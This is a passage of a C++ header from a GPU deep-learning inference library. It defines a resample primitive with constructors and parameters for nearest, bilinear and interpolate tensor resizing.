CLDNN_DECLARE_PRIMITIVE(resample) enum resample_axis { along_b, along_f, along_x, along_y, along_z, along_w }; using AxesAndScales = std::map<resample_axis, float>; /// @brief Constructs Resample primitive. /// @param id This primitive id. /// @param input Input primitive id. /// @param scale Resample scale. /// @param num_filter Input filter. Only used by bilinear sample_type. /// @param sample_type Resample method (nearest neighbor/bilinear/caffe bilinear). resample(const primitive_id& id, const primitive_id& input, tensor output_size, uint32_t num_filter, resample_type operation_type = resample_type::nearest, const padding& output_padding = padding()) : primitive_base(id, {input}, output_padding), output_size(output_size), num_filter(num_filter), axesAndScales({}), pads_begin({}), pads_end({}), align_corners(1), operation_type(operation_type), shape_calc_mode(shape_calculation_mode::sizes), antialias(0), cube_coeff(0.0f), coord_trans_mode(coordinate_transformation_mode::asymmetric), round_mode(nearest_mode::floor) { if (operation_type == resample_type::caffe_bilinear) { coord_trans_mode = coordinate_transformation_mode::half_pixel; } } /// @brief Constructs Resample primitive with Interp operation. /// @param id This primitive id. /// @param input Input primitive id. /// @param pads_begin Optional begin padding for input. /// @param pads_end Optional end padding for input. /// @param align_corners Align corner pixels of the input and output tensors. /// @param resample_type Resample bilinear method. resample(const primitive_id& id, const primitive_id& input, tensor output_size, std::vector<int32_t> pads_begin = {}, std::vector<int32_t> pads_end = {}, int32_t align_corners = 1, resample_type operation_type = resample_type::bilinear, const padding& output_padding = padding()) : primitive_base(id, {input}, output_padding), output_size(output_size), num_filter(0), axesAndScales({}), pads_begin(pads_begin), pads_end(pads_end), align_corners(align_corners), operation_type(operation_type), shape_calc_mode(shape_calculation_mode::sizes), antialias(0), cube_coeff(0.0f), coord_trans_mode(coordinate_transformation_mode::asymmetric), round_mode(nearest_mode::floor) {} /// @brief Constructs Resample primitive with Interpolate operation. /// @param id This primitive id. /// @param input Input primitive id. /// @param pads_begin Optional begin padding for input. /// @param pads_end Optional end padding for input. resample(const primitive_id& id, const primitive_id& input, tensor output_size, AxesAndScales axesAndScales, std::vector<int32_t> pads_begin = {}, std::vector<int32_t> pads_end = {}, int32_t antialias = 0, float cube_coeff = -0.75f, resample_type operation_type = resample_type::caffe_bilinear, shape_calculation_mode shape_calc_mode = shape_calculation_mode::sizes, coordinate_transformation_mode ctm = coordinate_transformation_mode::half_pixel, nearest_mode nm = nearest_mode::round_prefer_floor, const padding& output_padding = padding()) : primitive_base(id, {input}, output_padding), output_size(output_size), num_filter(0), axesAndScales(axesAndScales), pads_begin(pads_begin), pads_end(pads_end), align_corners(1), operation_type(operation_type), shape_calc_mode(shape_calc_mode), antialias(antialias), cube_coeff(cube_coeff), coord_trans_mode(ctm), round_mode(nm) {} /// @param scale Resample scale. tensor output_size; /// @param num_filter Input filter. Only used by bilinear sample_type. uint32_t num_filter; /// @param scales scales for spatial axes. AxesAndScales axesAndScales; /// @param pads_begin Begin paddings for input. std::vector<int32_t> pads_begin; /// @param pads_end End paddings for input. std::vector<int32_t> pads_end; /// @param align_corners corner pixels of the input and output tensors int32_t align_corners; /// @param operation_type Resample method (nearest neighbor/bilinear/caffe bilinear). resample_type operation_type; /// @param shape_calc_mode Specifies which input, sizes or scales, is used to calculate an output shape. shape_calculation_mode shape_calc_mode; /// @param antialias is a flag that specifies whether to perform anti-aliasing. int32_t antialias; /// @param cube_coeff specifies the parameter a for cubic interpolation. cube_coeff is used only when mode == cubic. float cube_coeff; /// @param coord_trans_mode specifies how to transform the coordinate in the resized tensor to the coordinate in the original tensor coordinate_transformation_mode coord_trans_mode; /// @param round_mode specifies round mode when mode == nearest and is used only when mode == nearest. nearest_mode round_mode; }; /// @} /// @} /// @} } // namespace cldnn